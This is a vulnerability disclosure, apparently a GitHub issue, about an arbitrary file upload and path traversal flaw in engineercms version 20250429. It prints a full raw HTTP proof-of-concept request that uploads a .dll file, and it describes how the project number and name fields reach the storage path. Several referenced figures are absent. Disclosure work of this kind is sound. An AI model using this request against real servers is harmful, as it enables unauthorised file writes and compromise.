The engineercms has a file upload vulnerability. #94
Description
Summary
Version 20250429 of engineercms has a file upload vulnerability, allowing files with any suffix to be uploaded to the server across directories through the project editing function.
Vulnerability path:
/project/product/addattachment
Details
POST /project/product/addattachment HTTP/1.1
Host: 10.4.9.55:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Length: 1133
Origin: http://10.4.9.55:8082
Connection: keep-alive
Referer: http://10.4.9.55:8082/project/25012
Cookie: hotqinsessionid=9467b51b76779ca0e37da0d21b491a39
------geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Disposition: form-data; name="pid"
25012
------geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Disposition: form-data; name="prodlabel"
111
------geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Disposition: form-data; name="prodprincipal"
------geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Disposition: form-data; name="id"
WU_FILE_0
------geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Disposition: form-data; name="name"
------geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Disposition: form-data; name="type"
image/png
------geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Disposition: form-data; name="lastModifiedDate"
2025/6/24 16:01:26
------geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Disposition: form-data; name="size"
27440
------geckoformboundary9fd62ad7c145696b62136695ff9e3321
Content-Disposition: form-data; name="file"; filename="test.dll"
Content-Type: image/png
11
------geckoformboundary9fd62ad7c145696b62136695ff9e3321--
Create a new project, set the values of the number and name fields to construct path traversal.
Enter the project and upload files:
The request package is as follows:
At this point, the file is uploaded across directories to the "Documents" directory.
Code
The processing function corresponding to the upload request path "/project/product/addattachment" is as follows:
The variable that holds the final uploaded file path is filepath:
The composition of the filepath variable is as follows:
The value of the DiskDirectory variable is directly concatenated with the project number and name, which leads to path traversal.
